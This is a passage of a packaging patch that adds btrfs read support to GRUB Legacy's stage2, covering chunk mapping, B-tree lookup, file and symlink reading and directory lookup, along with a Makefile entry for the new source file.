-+	struct btrfs_chunk *chunk;
-+	struct btrfs_key key;
-+	u32 num_stripes;
-+	u32 array_size;
-+	u32 len = 0;
-+	u8 *ptr;
-+	unsigned long sb_ptr;
-+	u32 cur;
-+	int ret;
-+	int i = 0;
-+
-+	sb.data = (char *)BTRFS_SUPER;
-+	array_size = btrfs_super_sys_array_size(BTRFS_SUPER);
-+
-+	ptr = BTRFS_SUPER->sys_chunk_array;
-+	sb_ptr = offsetof(struct btrfs_super_block, sys_chunk_array);
-+	cur = 0;
-+
-+	while (cur < array_size) {
-+		disk_key = (struct btrfs_disk_key *)ptr;
-+		btrfs_disk_key_to_cpu(&key, disk_key);
-+
-+		len = sizeof(*disk_key);
-+		ptr += len;
-+		sb_ptr += len;
-+		cur += len;
-+
-+		if (key.type == BTRFS_CHUNK_ITEM_KEY) {
-+			chunk = (struct btrfs_chunk *)sb_ptr;
-+			ret = check_read_chunk(&key, &sb,
-+					       chunk, map, logical);
-+			if (ret)
-+				/* map is found */
-+				return ret;
-+			num_stripes = btrfs_chunk_num_stripes(&sb, chunk);
-+			len = btrfs_chunk_item_size(num_stripes);
-+		} else {
-+			errnum = ERR_FSYS_CORRUPT;
-+			return -1;
-+		}
-+		ptr += len;
-+		sb_ptr += len;
-+		cur += len;
-+		i++;
-+	}
-+	return 0;
-+}
-+
-+/*
-+ * Search for a map by logical offset in the chunk tree.
-+ * Return 1 if map is found, otherwise return 0.
-+ */
-+static int chunk_tree_lookup(struct map_lookup *map,
-+			     u64 logical)
-+{
-+	int ret;
-+	int slot;
-+	struct extent_buffer *leaf;
-+	struct btrfs_key key;
-+	struct btrfs_key found_key;
-+	struct btrfs_chunk *chunk;
-+	struct btrfs_path *path;
-+
-+	path = btrfs_grab_path(INTERNAL_LOOKUP_POOL);
-+
-+	key.objectid = BTRFS_FIRST_CHUNK_TREE_OBJECTID;
-+	key.offset = logical;
-+	key.type = BTRFS_CHUNK_ITEM_KEY;
-+
-+	ret = aux_tree_lookup(BTRFS_CHUNK_ROOT, &key, path);
-+	if (ret < 0)
-+		return 0;
-+	leaf = &path->nodes[0];
-+	slot = path->slots[0];
-+	if (ret == 1) {
-+		WARN_ON(slot == 0);
-+		slot -= 1;
-+	}
-+	btrfs_item_key_to_cpu(leaf, &found_key, slot);
-+	if (found_key.type != BTRFS_CHUNK_ITEM_KEY)
-+		return 0;
-+	chunk = btrfs_item_ptr(leaf, slot, struct btrfs_chunk);
-+	return check_read_chunk(&found_key, leaf,
-+				chunk, map, logical);
-+}
-+
-+/*
-+ * Btrfs logical/physical block mapper.
-+ * Look for an appropriate map-extent and
-+ * perform a translation. Return 1 on errors.
-+ */
-+static int btrfs_map_block(u64 logical, u64 *length,
-+			   struct btrfs_multi_bio *multi,
-+			   int mirror_num)
-+{
-+	struct map_lookup map;
-+	u64 offset;
-+	u64 stripe_offset;
-+	u64 stripe_nr;
-+	struct cache_extent *ce;
-+	int stripe_index;
-+	int i;
-+	int ret;
-+
-+	memset(&map, 0, sizeof(map));
-+	ret = sys_array_lookup(&map, logical);
-+	if (ret == -1) {
-+		errnum = ERR_FSYS_CORRUPT;
-+		return 1;
-+	}
-+	if (ret == 0) {
-+		ret = chunk_tree_lookup(&map, logical);
-+		if (!ret) {
-+			/* something should be found! */
-+			errnum = ERR_FSYS_CORRUPT;
-+			return 1;
-+		}
-+	}
-+	/* do translation */
-+	ce = &map.ce;
-+
-+	offset = logical - ce->start;
-+	stripe_nr = offset / map.stripe_len;
-+	stripe_offset = stripe_nr * map.stripe_len;
-+	WARN_ON(offset < stripe_offset);
-+
-+	stripe_offset = offset - stripe_offset;
-+
-+	if (map.type & (BTRFS_BLOCK_GROUP_RAID0 | BTRFS_BLOCK_GROUP_RAID1 |
-+			 BTRFS_BLOCK_GROUP_RAID10 |
-+			 BTRFS_BLOCK_GROUP_DUP)) {
-+		*length = min_t(u64, ce->size - offset,
-+			      map.stripe_len - stripe_offset);
-+	} else {
-+		*length = ce->size - offset;
-+	}
-+	multi->num_stripes = 1;
-+	stripe_index = 0;
-+	if (map.type & BTRFS_BLOCK_GROUP_RAID1) {
-+		if (mirror_num)
-+			stripe_index = mirror_num - 1;
-+		else
-+			stripe_index = stripe_nr % map.num_stripes;
-+	} else if (map.type & BTRFS_BLOCK_GROUP_RAID10) {
-+		int factor = map.num_stripes / map.sub_stripes;
-+
-+		stripe_index = stripe_nr % factor;
-+		stripe_index *= map.sub_stripes;
-+
-+		if (mirror_num)
-+			stripe_index += mirror_num - 1;
-+		else
-+			stripe_index = stripe_nr % map.sub_stripes;
-+
-+		stripe_nr = stripe_nr / factor;
-+	} else if (map.type & BTRFS_BLOCK_GROUP_DUP) {
-+		if (mirror_num)
-+			stripe_index = mirror_num - 1;
-+	} else {
-+		stripe_index = stripe_nr % map.num_stripes;
-+		stripe_nr = stripe_nr / map.num_stripes;
-+	}
-+	WARN_ON(stripe_index >= map.num_stripes);
-+
-+	for (i = 0; i < multi->num_stripes; i++) {
-+		asm("" : "+r"(multi));
-+		multi->stripes[i].physical =
-+			map.stripes[stripe_index].physical + stripe_offset +
-+			stripe_nr * map.stripe_len;
-+		memcpy(&multi->stripes[i].dev,
-+		       &map.stripes[stripe_index].dev,
-+		       sizeof(struct btrfs_device));
-+		stripe_index++;
-+	}
-+	return 0;
-+}
-+
-+static u64 read_data_extent(u64 logical_start, u64 to_read, char *pos)
-+{
-+	int ret;
-+	u64 length;
-+	struct btrfs_multi_bio multi;
-+
-+	while (to_read) {
-+		ret = btrfs_map_block(logical_start, &length, &multi, 0);
-+		if (ret) {
-+			errnum = ERR_FSYS_CORRUPT;
-+			return ret;
-+		}
-+		if (length > to_read)
-+			length = to_read;
-+		disk_read_func = disk_read_hook;
-+		ret = btrfs_devread(multi.stripes[0].dev.drive,
-+				    multi.stripes[0].dev.part,
-+				    multi.stripes[0].dev.length,
-+				    multi.stripes[0].physical >> SECTOR_BITS,
-+				    logical_start & ((u64)SECTOR_SIZE - 1),
-+				    length,
-+				    pos);
-+		disk_read_func = NULL;
-+		if (!ret)
-+			return 1;
-+		btrfs_msg("BTRFS data extent: read %llu bytes\n", length);
-+		to_read -= length;
-+		pos += length;
-+		logical_start += length;
-+	}
-+	return 0;
-+}
-+
-+static int read_extent_from_disk(struct extent_buffer *eb)
-+{
-+	WARN_ON(eb->dev_bytenr % SECTOR_BITS);
-+	return btrfs_devread(eb->dev.drive,
-+			     eb->dev.part,
-+			     eb->dev.length,
-+			     eb->dev_bytenr >> SECTOR_BITS,
-+			     0,
-+			     eb->len,
-+			     eb->data);
-+}
-+
-+static int verify_parent_transid(struct extent_buffer *eb, u64 parent_transid)
-+{
-+	return parent_transid && (btrfs_header_generation(eb) != parent_transid);
-+}
-+
-+static int btrfs_num_copies(u64 logical, u64 len)
-+{
-+	return 1;
-+}
-+
-+static int check_tree_block(struct btrfs_root *root, struct extent_buffer *buf)
-+{
-+	return 0;
-+}
-+
-+static int csum_tree_block(struct btrfs_root *root, struct extent_buffer *buf,
-+		    int verify)
-+{
-+	return 0;
-+}
-+
-+/*
-+ * Read a block of logical number @bytenr
-+ * from disk to buffer @eb.
-+ * Return 1 on success.
-+ */
-+int read_tree_block(struct btrfs_root *root,
-+		    struct extent_buffer *eb,
-+		    u64 bytenr, /* logical */
-+		    u32 blocksize,
-+		    u64 parent_transid,
-+		    lookup_pool_id lpid)
-+{
-+	int ret;
-+	int dev_nr;
-+	u64 length;
-+	struct btrfs_multi_bio multi;
-+	int mirror_num = 0;
-+	int num_copies;
-+
-+	dev_nr = 0;
-+	length = blocksize;
-+	while (1) {
-+		ret = btrfs_map_block(bytenr,
-+				      &length, &multi, mirror_num);
-+		if (ret) {
-+			errnum = ERR_FSYS_CORRUPT;
-+			return 0;
-+		}
-+		init_extent_buffer(eb,
-+				   &multi.stripes[0].dev,
-+				   bytenr,
-+				   blocksize,
-+				   multi.stripes[0].physical,
-+				   lpid);
-+
-+		ret = read_extent_from_disk(eb);
-+		if (ret &&
-+		    check_tree_block(root, eb) == 0 &&
-+		    csum_tree_block(root, eb, 1) == 0 &&
-+		    verify_parent_transid(eb, parent_transid) == 0)
-+			return 1;
-+
-+		num_copies = btrfs_num_copies(eb->start, eb->len);
-+		if (num_copies == 1)
-+			break;
-+		mirror_num++;
-+		if (mirror_num > num_copies)
-+			break;
-+	}
-+	return 0;
-+}
-+
-+/*
-+ * Read a child pointed by @slot node pointer
-+ * of @parent. Put the result to @parent.
-+ * Return 1 on success.
-+ */
-+static int parent2child(struct btrfs_root *root,
-+			struct extent_buffer *parent,
-+			int slot,
-+			lookup_pool_id lpid)
-+{
-+	int level;
-+
-+	WARN_ON(slot < 0);
-+	WARN_ON(slot >= btrfs_header_nritems(parent));
-+
-+	level = btrfs_header_level(parent);
-+	WARN_ON(level <= 0);
-+
-+	return read_tree_block(root,
-+			       parent,
-+			       btrfs_node_blockptr(parent, slot),
-+			       btrfs_level_size(root, level - 1),
-+			       btrfs_node_ptr_generation(parent, slot),
-+			       lpid);
-+}
-+
-+static int btrfs_comp_keys(struct btrfs_disk_key *disk, struct btrfs_key *k2)
-+{
-+	struct btrfs_key k1;
-+
-+	btrfs_disk_key_to_cpu(&k1, disk);
-+
-+	if (k1.objectid > k2->objectid)
-+		return 1;
-+	if (k1.objectid < k2->objectid)
-+		return -1;
-+	if (k1.type > k2->type)
-+		return 1;
-+	if (k1.type < k2->type)
-+		return -1;
-+	if (k1.offset > k2->offset)
-+		return 1;
-+	if (k1.offset < k2->offset)
-+		return -1;
-+	return 0;
-+}
-+
-+static int bin_search(struct extent_buffer *eb, unsigned long p,
-+		      int item_size, struct btrfs_key *key,
-+		      int max, int *slot)
-+{
-+	int low = 0;
-+	int high = max;
-+	int mid;
-+	int ret;
-+	unsigned long offset;
-+	struct btrfs_disk_key *tmp;
-+
-+	while(low < high) {
-+		mid = (low + high) / 2;
-+		offset = p + mid * item_size;
-+
-+		tmp = (struct btrfs_disk_key *)(eb->data + offset);
-+		ret = btrfs_comp_keys(tmp, key);
-+
-+		if (ret < 0)
-+			low = mid + 1;
-+		else if (ret > 0)
-+			high = mid;
-+		else {
-+			*slot = mid;
-+			return 0;
-+		}
-+	}
-+	*slot = low;
-+	return 1;
-+}
-+
-+/* look for a key in a node */
-+static int node_lookup(struct extent_buffer *eb,
-+		       struct btrfs_key *key,
-+		       int *slot)
-+{
-+	if (btrfs_header_level(eb) == 0) {
-+		return bin_search(eb,
-+				  offsetof(struct btrfs_leaf, items),
-+				  sizeof(struct btrfs_item),
-+				  key, btrfs_header_nritems(eb),
-+				  slot);
-+	} else {
-+		return bin_search(eb,
-+				  offsetof(struct btrfs_node, ptrs),
-+				  sizeof(struct btrfs_key_ptr),
-+				  key, btrfs_header_nritems(eb),
-+				  slot);
-+	}
-+	return -1;
-+}
-+
-+static inline int check_node(struct extent_buffer *buf, int slot)
-+{
-+	return 0;
-+}
-+
-+/*
-+ * Look for an item by key in read-only tree.
-+ * Return 0, if key was found. Return -1 on io errors.
-+ *
-+ * Preconditions: btrfs_mount already executed.
-+ * Postconditions: if returned value is non-negative,
-+ * then path[0] represents the found position in the
-+ * tree. All components of the @path from leaf to root
-+ * are valid except their data buffers (only path[0]
-+ * has valid attached data buffer).
-+ */
-+
-+int aux_tree_lookup(struct btrfs_root *root,
-+		    struct btrfs_key *key,
-+		    struct btrfs_path *path)
-+{
-+	int ret;
-+	int slot = 0;
-+	int level;
-+	struct extent_buffer node;
-+	init_extent_buffer(&node,
-+			   NULL,
-+			   0,
-+			   0,
-+			   0,
-+			   path->lpid);
-+	copy_extent_buffer(&node, &root->node);
-+	do {
-+		level = btrfs_header_level(&node);
-+		ret = check_node(&node, slot);
-+		if (ret)
-+			return -1;
-+		move_extent_buffer(&path->nodes[level],
-+				   &node);
-+		ret = node_lookup(&node, key, &slot);
-+		if (ret < 0)
-+			return ret;
-+		if (level) {
-+		        /*
-+			 * non-leaf,
-+			 * jump to the next level
-+			 */
-+			if (ret && slot > 0)
-+			        slot -= 1;
-+			ret = parent2child(root, &node, slot, path->lpid);
-+			if (ret == 0)
-+				return -1;
-+		}
-+		path->slots[level] = slot;
-+	} while (level);
-+	return ret;
-+}
-+
-+static int readup_buffer(struct extent_buffer *buf, lookup_pool_id lpid)
-+{
-+	buf->data = grab_lookup_cache(lpid);
-+	return read_extent_from_disk(buf);
-+}
-+
-+/*
-+ * Find the next leaf in accordance with tree order;
-+ * walk up the tree as far as required to find it.
-+ * Returns 0 if something was found, or 1 if there
-+ * are no greater leaves. Returns < 0 on io errors.
-+ *
-+ * Preconditions: all @path components from leaf to
-+ * root have valid meta-data fields. path[0] has a
-+ * valid attached data buffer with initial leaf.
-+ * Postcondition: the same as above, but path[0] has
-+ * an attached data buffer with the next leaf.
-+ */
-+static int btrfs_next_leaf(struct btrfs_root *root,
-+			   struct btrfs_path *path)
-+{
-+	int res;
-+	int slot;
-+	int level = 1;
-+	struct extent_buffer *buf;
-+
-+	while(level < BTRFS_MAX_LEVEL) {
-+		buf = &path->nodes[level];
-+		slot = path->slots[level] + 1;
-+		/*
-+		 * lift data on this level
-+		 */
-+		res = readup_buffer(buf, path->lpid);
-+		if (!res)
-+			break;
-+		if (slot >= btrfs_header_nritems(buf)) {
-+			/* alas, go to parent (if any) */
-+			level++;
-+			res = 1;
-+			continue;
-+		}
-+		break;
-+	}
-+	if (!res)
-+		return 1;
-+	/*
-+	 * At this level slot points to
-+	 * the subtree we are interested in.
-+	 */
-+	path->slots[level] = slot;
-+	while(level) {
-+		struct extent_buffer tmp;
-+		move_extent_buffer(&tmp, &path->nodes[level]);
-+		res = parent2child(root, &tmp, slot, path->lpid);
-+		if (res == 0)
-+			return -1;
-+		level --;
-+		slot = 0;
-+		move_extent_buffer(&path->nodes[level], &tmp);
-+		path->slots[level] = slot;
-+	}
-+	return 0;
-+}
-+
-+/* Preconditions: path is valid, data buffer
-+ * is attached to leaf node.
-+ * Postcondition: path is updated to point to
-+ * the next position with respect to the tree
-+ * order.
-+ *
-+ * Return -1 on io errors.
-+ * Return 0, if next item was found.
-+ * Return 1, if next item wasn't found (no more items).
-+ */
-+static int btrfs_next_item(struct btrfs_root *root,
-+			   struct btrfs_path *path)
-+{
-+	WARN_ON(path->slots[0] >= btrfs_header_nritems(&path->nodes[0]));
-+
-+	path->slots[0] += 1;
-+
-+	if (path->slots[0] < btrfs_header_nritems(&path->nodes[0]))
-+		return 0;
-+	if (coord_is_root(root, path))
-+		/* no more items */
-+		return 1;
-+	return btrfs_next_leaf(root, path);
-+}
-+
-+/*
-+ * check if we can reuse results of previous
-+ * search for read operation
-+ */
-+static int path_is_valid(struct btrfs_path *path,
-+			 struct btrfs_key *key, u64 offset)
-+{
-+	btrfs_item_key_to_cpu(&path->nodes[0],
-+			      key,
-+			      path->slots[0]);
-+	if (BTRFS_FILE_INFO_KEY->objectid != key->objectid)
-+		return 0;
-+	if (btrfs_key_type(key) == BTRFS_INODE_ITEM_KEY)
-+		return 1;
-+	if (btrfs_key_type(key) != BTRFS_EXTENT_DATA_KEY)
-+		return 0;
-+	return BTRFS_FILE_INFO_KEY->offset <= offset;
-+}
-+
-+/* ->read_func() */
-+int btrfs_read(char *buf, int len)
-+{
-+	int ret;
-+	struct btrfs_root *fs_root;
-+	struct btrfs_path *path;
-+	struct btrfs_key  path_key;
-+	u64 ioff;
-+	u64 bytes;
-+	int to_read;
-+	char *pos = buf;
-+
-+	fs_root = BTRFS_FS_ROOT;
-+	path = btrfs_grab_path(FIRST_EXTERNAL_LOOKUP_POOL);
-+
-+	if (!path_is_valid(path, &path_key, filepos)) {
-+		ret = aux_tree_lookup(fs_root, BTRFS_FILE_INFO_KEY, path);
-+		if (ret < 0)
-+			errnum = ERR_FSYS_CORRUPT;
-+	}
-+	while (!errnum) {
-+		struct btrfs_item *item;
-+		struct btrfs_file_extent_item *fi;
-+		u64 from;
-+
-+		btrfs_item_key_to_cpu(&path->nodes[0],
-+				      &path_key,
-+				      path->slots[0]);
-+		if (BTRFS_FILE_INFO_KEY->objectid != path_key.objectid)
-+			break;
-+		if (btrfs_key_type(&path_key) != BTRFS_EXTENT_DATA_KEY)
-+			goto next;
-+		/*
-+		 * current position is extent item
-+		 */
-+		item = btrfs_item_nr(&path->nodes[0], path->slots[0]);
-+		fi = btrfs_item_ptr(&path->nodes[0],
-+				    path->slots[0],
-+				    struct btrfs_file_extent_item);
-+		if (btrfs_file_extent_compression(&path->nodes[0], fi)) {
-+		       btrfs_msg("Btrfs transparent compression unsupported\n");
-+		       errnum = ERR_BAD_FILETYPE;
-+		       goto exit;
-+		}
-+		ioff = filepos - path_key.offset;
-+
-+		switch (btrfs_file_extent_type(&path->nodes[0], fi)) {
-+		case BTRFS_FILE_EXTENT_INLINE:
-+			bytes = btrfs_file_extent_inline_item_len(&path->
-+								  nodes[0],
-+								  item);
-+			if (path_key.offset + bytes < filepos)
-+				goto next;
-+			to_read = bytes - ioff;
-+			if (to_read > len)
-+				to_read = len;
-+			from = ioff + btrfs_file_extent_inline_start(fi);
-+			if (disk_read_hook != NULL) {
-+				disk_read_func = disk_read_hook;
-+				ret = btrfs_devread(path->nodes[0].dev.drive,
-+						    path->nodes[0].dev.part,
-+						    path->nodes[0].dev.length,
-+						    path->nodes[0].dev_bytenr >>
-+						    SECTOR_BITS,
-+						    from,
-+						    to_read,
-+						    pos);
-+				disk_read_func = NULL;
-+				if (ret)
-+					goto exit;
-+			} else
-+				memcpy(pos,
-+				       path->nodes[0].data + from,
-+				       to_read);
-+			btrfs_msg("BTRFS inline extent: read %d bytes pos %d\n",
-+				  to_read, filepos);
-+			break;
-+		case BTRFS_FILE_EXTENT_REG:
-+			bytes = btrfs_file_extent_num_bytes(&path->nodes[0],
-+							    fi);
-+			if (path_key.offset + bytes < filepos)
-+				goto next;
-+			to_read = bytes - ioff;
-+			if (to_read > len)
-+				to_read = len;
-+			from = ioff +
-+				btrfs_file_extent_disk_bytenr(&path->nodes[0],
-+							      fi) +
-+				btrfs_file_extent_offset(&path->nodes[0],
-+							 fi);
-+			ret = read_data_extent(from, to_read, pos);
-+			if (ret)
-+				goto exit;
-+			break;
-+		case BTRFS_FILE_EXTENT_PREALLOC:
-+			btrfs_msg("Btrfs preallocated extents unsupported\n");
-+			errnum = ERR_BAD_FILETYPE;
-+			goto exit;
-+		default:
-+			errnum = ERR_FSYS_CORRUPT;
-+			goto exit;
-+		}
-+		len -= to_read;
-+		pos += to_read;
-+		filepos += to_read;
-+		if (len == 0)
-+			break;
-+		/* not everything was read */
-+	next:
-+		ret = btrfs_next_item(fs_root, path);
-+		if (ret < 0) {
-+			errnum = ERR_FSYS_CORRUPT;
-+			break;
-+		}
-+		btrfs_update_file_info(path);
-+		continue;
-+	}
-+exit:
-+	return errnum ? 0 : pos - buf;
-+}
-+
-+static int btrfs_follow_link(struct btrfs_root *root,
-+			     struct btrfs_path *path,
-+			     char **dirname, char *linkbuf,
-+			     int *link_count,
-+			     struct btrfs_inode_item *sd)
-+{
-+	int ret;
-+	int len;
-+	char *name = *dirname;
-+
-+	if (++(*link_count) > MAX_LINK_COUNT) {
-+		errnum = ERR_SYMLINK_LOOP;
-+		return 0;
-+	}
-+	/* calculate remaining name size */
-+	filemax = btrfs_inode_size(&path->nodes[0], sd);
-+	for (len = 0;
-+	     name[len] && isspace(name[len]);
-+	     len ++);
-+
-+	if (filemax + len > PATH_MAX - 1) {
-+		errnum = ERR_FILELENGTH;
-+		return 0;
-+	}
-+	grub_memmove(linkbuf + filemax, name, len + 1);
-+	btrfs_update_file_info(path);
-+	filepos = 0;
-+	/* extract symlink content */
-+	while (1) {
-+		u64 oid = BTRFS_FILE_INFO_KEY->objectid;
-+		ret = btrfs_next_item(root, path);
-+		if (ret)
-+			break;
-+		btrfs_update_file_info(path);
-+		if (oid != BTRFS_FILE_INFO_KEY->objectid)
-+			break;
-+		if (btrfs_key_type(BTRFS_FILE_INFO_KEY) ==
-+		    BTRFS_EXTENT_DATA_KEY)
-+			goto found;
-+	}
-+	/* no target was found */
-+	errnum = ERR_FSYS_CORRUPT;
-+	return 0;
-+found:
-+	/* fill the rest of linkbuf with the content */
-+	ret = btrfs_read(linkbuf, filemax);
-+	if (ret != filemax) {
-+		errnum = ERR_FSYS_CORRUPT;
-+		return 0;
-+	}
-+	return 1;
-+}
-+
-+static int update_fs_root(struct btrfs_root *fs_root,
-+			  struct btrfs_key *location)
-+{
-+	int ret;
-+	struct btrfs_root *tree_root;
-+
-+	if (location->offset != (u64)-1)
-+		return 0;
-+	tree_root = &BTRFS_FS_INFO->tree_root;
-+	ret = find_setup_root(tree_root,
-+			      tree_root->nodesize,
-+			      tree_root->leafsize,
-+			      tree_root->sectorsize,
-+			      tree_root->stripesize,
-+			      location->objectid,
-+			      fs_root,
-+			      0,
-+			      0,
-+			      0,
-+			      SECOND_EXTERNAL_LOOKUP_POOL);
-+	if (ret)
-+		return ret;
-+	location->objectid = btrfs_root_dirid(&fs_root->root_item);
-+	btrfs_set_key_type(location, BTRFS_INODE_ITEM_KEY);
-+	location->offset = 0;
-+	return 0;
-+}
-+
-+#ifndef STAGE1_5
-+static inline void update_possibilities(void)
-+{
-+	if (print_possibilities > 0)
-+		print_possibilities =
-+			-print_possibilities;
-+}
-+#endif
-+
-+/*
-+ * Look for a directory item by name.
-+ * Print possibilities, if needed.
-+ * Postconditions: on success @sd_key points
-+ * to the key contained in the directory entry.
-+ */
-+static int btrfs_de_index_by_name(struct btrfs_root *root,
-+				  struct btrfs_path *path,
-+				  char **dirname,
-+				  struct btrfs_key *sd_key)
-+{
-+	char ch;
-+	int ret;
-+	char *rest;
-+	struct btrfs_dir_item *di;
-+#ifndef STAGE1_5
-+	int do_possibilities = 0;
-+#endif
-+	for (; **dirname == '/'; (*dirname)++);
-+	for (rest = *dirname;
-+	     (ch = *rest) && !isspace(ch) && ch != '/';
-+	     rest++);
-+	*rest = 0; /* for substrung() */
-+#ifndef STAGE1_5
-+	if (print_possibilities && ch != '/')
-+		do_possibilities = 1;
-+#endif
-+	/* scan a directory */
-+	while (1) {
-+		u32 total;
-+		u32 cur = 0;
-+		u32 len;
-+		struct btrfs_key di_key;
-+		struct btrfs_disk_key location;
-+		struct btrfs_item *item;
-+
-+		/* extract next dir entry */
-+		ret = btrfs_next_item(root, path);
-+		if (ret)
-+			break;
-+		item = btrfs_item_nr(&path->nodes[0],
-+				     path->slots[0]);
-+		btrfs_item_key_to_cpu(&path->nodes[0],
-+				      &di_key,
-+				      path->slots[0]);
-+		if (di_key.objectid != sd_key->objectid)
-+			/* no more entries */
-+			break;
-+		di = btrfs_item_ptr(&path->nodes[0],
-+				    path->slots[0],
-+				    struct btrfs_dir_item);
-+		/*
-+		 * working around special cases:
-+		 * btrfs doesn't maintain directory entries
-+		 * which contain names "." and ".."
-+		 */
-+		if (!substring(".", *dirname)) {
-+#ifndef STAGE1_5
-+			if (do_possibilities) {
-+				update_possibilities();
-+				return 1;
-+			}
-+#endif
-+			goto found;
-+		}
-+		if (!substring("..", *dirname)) {
-+			if (di_key.type != BTRFS_INODE_REF_KEY)
-+				continue;
-+			sd_key->objectid = di_key.offset;
-+			btrfs_set_key_type(sd_key, BTRFS_INODE_ITEM_KEY);
-+			sd_key->offset = 0;
-+#ifndef STAGE1_5
-+			if (do_possibilities) {
-+				update_possibilities();
-+				return 1;
-+			}
-+#endif
-+			goto found;
-+		}
-+		if (di_key.type != BTRFS_DIR_ITEM_KEY)
-+			continue;
-+		total = btrfs_item_size(&path->nodes[0], item);
-+		/* scan a directory item */
-+		while (cur < total) {
-+			char tmp;
-+			int result;
-+			char *filename;
-+			char *end_of_name;
-+			int name_len;
-+			int data_len;
-+
-+			btrfs_dir_item_key(&path->nodes[0], di, &location);
-+
-+			name_len = btrfs_dir_name_len(&path->nodes[0], di);
-+			data_len = btrfs_dir_data_len(&path->nodes[0], di);
-+
-+			WARN_ON(name_len > BTRFS_NAME_LEN);
-+
-+			filename = (char *)(path->nodes[0].data +
-+					    (unsigned long)(di + 1));
-+			end_of_name = filename + name_len;
-+			/*
-+			 * working around not null-terminated
-+			 * directory names in btrfs: just
-+			 * a short-term overwrite of the
-+			 * cache with the following rollback
-+			 * of the change.
-+			 */
-+			tmp = *end_of_name;
-+			*end_of_name = 0;
-+			result = substring(*dirname, filename);
-+			*end_of_name = tmp;
-+#ifndef STAGE1_5
-+			if (do_possibilities) {
-+				if (result <= 0) {
-+					update_possibilities();
-+					*end_of_name = 0;
-+					print_a_completion(filename);
-+					*end_of_name = tmp;
-+				}
-+			}
-+			else
-+#endif
-+				if (result == 0) {
-+				      btrfs_dir_item_key_to_cpu(&path->nodes[0],
-+								di, sd_key);
-+				      goto found;
-+				}
-+			len = sizeof(*di) + name_len + data_len;
-+			di = (struct btrfs_dir_item *)((char *)di + len);
-+			cur += len;
-+		}
-+	}
-+#ifndef STAGE1_5
-+	if (print_possibilities < 0)
-+		return 1;
-+#endif
-+	errnum = ERR_FILE_NOT_FOUND;
-+	*rest = ch;
-+	return 0;
-+ found:
-+	*rest = ch;
-+	*dirname = rest;
-+	return 1;
-+}
-+
-+/*
-+ * ->dir_func().
-+ * Postcondition: on a non-zero return BTRFS_FS_INFO
-+ * contains the latest fs_root of file's subvolume.
-+ * BTRFS_FS_INFO points to a subvolume of a file we
-+ * were trying to look up.
-+ * BTRFS_FILE_INFO contains info of the file we were
-+ * trying to look up.
-+ */
-+
-+int btrfs_dir(char *dirname)
-+{
-+	int ret;
-+	int mode;
-+	u64 size;
-+	int linkcount = 0;
-+	char linkbuf[PATH_MAX];
-+
-+	struct btrfs_path *path;
-+	struct btrfs_root *root;
-+
-+	struct btrfs_key sd_key;
-+	struct btrfs_inode_item *sd;
-+	struct btrfs_key parent_sd_key;
-+
-+	root = BTRFS_FS_ROOT;
-+	path = btrfs_grab_path(FIRST_EXTERNAL_LOOKUP_POOL);
-+
-+	btrfs_set_root_dir_key(&sd_key);
-+	while (1) {
-+		struct extent_buffer *leaf;
-+		ret = aux_tree_lookup(root, &sd_key, path);
-+		if (ret)
-+			return 0;
-+		leaf = &path->nodes[0];
-+		sd = btrfs_item_ptr(leaf,
-+				    path->slots[0],
-+				    struct btrfs_inode_item);
-+		mode = btrfs_inode_mode(leaf, sd);
-+		size = btrfs_inode_size(leaf, sd);
-+		switch (btrfs_get_file_type(mode)) {
-+		case BTRFS_SYMLINK_FILE:
-+			ret = btrfs_follow_link(root,
-+						path,
-+						&dirname,
-+						linkbuf,
-+						&linkcount,
-+						sd);
-+			if (!ret)
-+				return 0;
-+			dirname = linkbuf;
-+			if (*dirname == '/')
-+				/* absolute name */
-+				btrfs_set_root_dir_key(&sd_key);
-+			else
-+				memcpy(&sd_key, &parent_sd_key,
-+				       sizeof(sd_key));
-+			continue;
-+		case BTRFS_REGULAR_FILE:
-+			/*
-+			 * normally we want to exit here
-+			 */
-+			if (*dirname && !isspace (*dirname)) {
-+				errnum = ERR_BAD_FILETYPE;
-+				return 0;
-+			}
-+			filepos = 0;
-+			filemax = btrfs_inode_size(leaf, sd);
-+			btrfs_update_file_info(path);
-+			return 1;
-+		case BTRFS_DIRECTORY_FILE:
-+			memcpy(&parent_sd_key, &sd_key, sizeof(sd_key));
-+			ret = btrfs_de_index_by_name(root,
-+						     path,
-+						     &dirname,
-+						     &sd_key);
-+			if (!ret)
-+				return 0;
-+#ifndef STAGE1_5
-+			if (print_possibilities < 0)
-+				return 1;
-+#endif
-+			/*
-+			 * update fs_tree:
-+			 * subvolume stuff goes here
-+			 */
-+			ret = update_fs_root(root, &sd_key);
-+			if (ret)
-+				return 0;
-+			continue;
-+		case BTRFS_UNKNOWN_FILE:
-+		default:
-+			btrfs_msg("Btrfs: bad file type\n");
-+			errnum = ERR_BAD_FILETYPE;
-+			return 0;
-+		}
-+	}
-+}
-+
-+int btrfs_embed(int *start_sector, int needed_sectors)
-+{
-+	int ret;
-+	init_btrfs_info();
-+	init_btrfs_volatile_dev_cache();
-+
-+	ret = btrfs_find_super(BTRFS_VOLATILE_DEV_CACHE, NULL, NULL);
-+	if (ret)
-+		return 0;
-+	ret = btrfs_uptodate_super_copy(BTRFS_FS_INFO);
-+	if (ret)
-+		return 0;
-+	*start_sector = 1; /* reserve first sector for stage1 */
-+	return needed_sectors <=
-+		((BTRFS_SUPER_INFO_OFFSET >> SECTOR_BITS) - 1);
-+}
-+#endif /* FSYS_BTRFS */
-+
-+/*
-+  Local variables:
-+  c-indentation-style: "K&R"
-+  mode-name: "LC"
-+  c-basic-offset: 8
-+  tab-width: 8
-+  fill-column: 80
-+  scroll-step: 1
-+  End:
-+*/
-diff -up grub-upstream.wip/stage2/Makefile.am.btrfs grub-upstream.wip/stage2/Makefile.am
---- grub-upstream.wip/stage2/Makefile.am.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/stage2/Makefile.am	2012-03-20 05:07:09.000000000 +0000
-@@ -17,13 +17,13 @@ INCLUDES = -I$(top_srcdir)/stage1
- noinst_LIBRARIES = libgrub.a
- libgrub_a_SOURCES = boot.c builtins.c char_io.c cmdline.c common.c \
- 	disk_io.c fsys_ext2fs.c fsys_fat.c fsys_ffs.c fsys_iso9660.c \
--	fsys_jfs.c fsys_minix.c fsys_reiserfs.c fsys_ufs2.c \
-+	fsys_jfs.c fsys_minix.c fsys_reiserfs.c fsys_btrfs.c fsys_ufs2.c \
- 	fsys_vstafs.c fsys_xfs.c gunzip.c md5.c serial.c stage2.c \
- 	terminfo.c tparm.c graphics.c
- libgrub_a_CFLAGS = $(GRUB_CFLAGS) -I$(top_srcdir)/lib \
- 	-DGRUB_UTIL=1 -DFSYS_EXT2FS=1 -DFSYS_FAT=1 -DFSYS_FFS=1 \
